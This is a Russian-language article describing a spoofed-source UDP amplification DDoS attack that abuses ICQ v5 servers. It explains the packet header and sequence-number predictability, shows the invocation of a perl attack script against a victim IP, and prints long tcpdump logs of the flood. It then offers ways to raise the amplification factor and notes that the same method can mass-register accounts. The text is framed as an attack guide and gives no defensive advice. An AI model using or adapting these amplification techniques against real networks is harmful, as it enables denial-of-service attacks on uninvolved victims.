Возможно использовать ICQ-серверы для
умножения трафика с коэффициентом 100 и даже
больше. Это означает, что нападающий с
полосой пропускания канала 38 Kbps может
заполнять канал связи на 3.8 Mbps. 

Известно, ЧТО ICQ использует UDP протокол как
свой транспортный уровень. Каждый UDP-пакет
со стороны клиента начинается следующим
заголовком (http://www.securitylab.ru/document/icqv5.html): 

Length Content Index Description 
2 bytes 05 00 VERSION Protocol version 
4 bytes 00 00 00 00 ZERO Always zero 
4 bytes xx xx xx xx UIN Your UIN 
4 bytes xx xx xx xx SESSION_ID Used to prevent spoofing 
2 bytes xx xx COMMAND Command 
2 bytes xx xx SEQ_NUM1 Sequence inits with a random number 
2 bytes xx xx SEQ_NUM2 Inits with 1 (!) 
4 bytes xx xx xx xx CHECKCODE 
variable xx .. PARAMETERS Parameters 

(все пакеты со стороны клиента шифруются а
со стороны сервера - нет) 

SEQ_NUM1 инициализирован со случайным числом и
увеличивается с каждым пакетом на 1 (!) (то
есть если первый пакет содержит SEQ_NUM1=123,
тогда следующий будет иметь SEQ_NUM1=124). 

SEQ_NUM1 инициализирован в 1, и увеличивается на
1с каждым пакетом, если не определено другое
значение (то есть установка SEQ_NUM2 = 0 при
посылке CMD_KEEP_ALIVE) 

SESSION_ID - случайное число, которое должно быть
постоянным для каждого пакета текущего
сеанса, иначе они игнорируются сервером.
Кроме того, пакеты сервера отмечены тем же
самым значением, чтобы предотвратить
имитацию. 

Нападение заключается в том, что соединяясь
с сервером как зарегистрированный
пользователь/пользователи, мы подменяем
исходный адрес жертвы (желательно, но не
обходимо поле "Our IP" в заголовке
команды CMD_LOGIN). Этим мы переадресовываем
трафик ответа сервера жертве (это возможно
не только из-за слабости UDP протокола, но
также и из-за предсказуемости правил
последовательности SEQ_NUM1 и SEQ_NUM2). Все эти
факты - ядро для формирования нападения.

Реализация: 

Чтобы проверить нападение, напишите perl-сценарий,
который вслепую пошлет пакеты, один за
другим с некоторой задержкой. В результате
чего получим:

% perl icqoff.pl icq.mirabilis.com 4000 yy.yy.yy.22 1027 (yy.yy.yy.22 - IP
жертвы; 1027 порт) 

tcpdump атакующего: 

xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 80 xx.xx.xx.100.1027 >
205.188.153.103.4000: udp 28 xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57
xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 53

tcpdump жертвы: 

205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF)
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 41 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 117 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp
382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027
unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027
unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22
> 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp
166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027
unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027
unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22
> 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp
166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027
unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027
unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22
> 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp
166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027
unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027
unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22
> 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable

Из дампов мы видим, что жертва отвечает на
пакеты, полученные с ICMP недостижимым
сообщением, но сервер игнорирует их и
продолжает посылать ~11-12 повторений с
задержкой 6 секунд, надеясь, что другая
сторона его слышит. Эти пакеты служат, чтобы
сообщить жертве, кто из его контактного
списка в online. 

Подсчитывая мы видим, что отношение запроc/ответ
примерно равно 330/10110, что соответствует
увеличению 1:30. 

Сценарий: 

В предыдущей реализации, мы достигли отнюдь
не максимального умножения трафика, потому
что нападающий использовал довольно
короткий контактный список с 8 записями.

xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57 

Однако, возможно послать список из 100
случайных активных пользователей, или
списка наших специальных пользователей,
которые постоянно находятся в online. 

xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 425 

Это приведет к лучшему росту, чем линейный в
предыдущем случае. 

1: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 
2: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 
3: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 
.
.
.
18: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 
19: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 
20: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 

и в 10 раз больше, на каждые 20 пакетов... 

В этот раз коэффициент умножения стал равен
130. Это означает, что нападающий может
увеличивать этот коэффициент, постоянно
ища активных пользователей или создавая и
поддерживая их в активном состоянии.

Другие сценарии: 

В других случаях, чтобы увеличивать трафик,
мы можем дополнительно послать запросы
поиска (CMD_SEARCH_UIN, CMD_SEARCH_USER), различные
сообщения (CMD_SEND_MESSAGE) и квитируемые
сообщения (CMD_ACK), так, чтобы таймаут 6 секунд
выполнялся параллельно, и мы можем это
использовать пока сервер думает что мы в
online.

Описанный выше способ может использоваться
не только для DDoS нападений, но также и для
быстрой регистрации множества UIN номеров от
различных IP.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии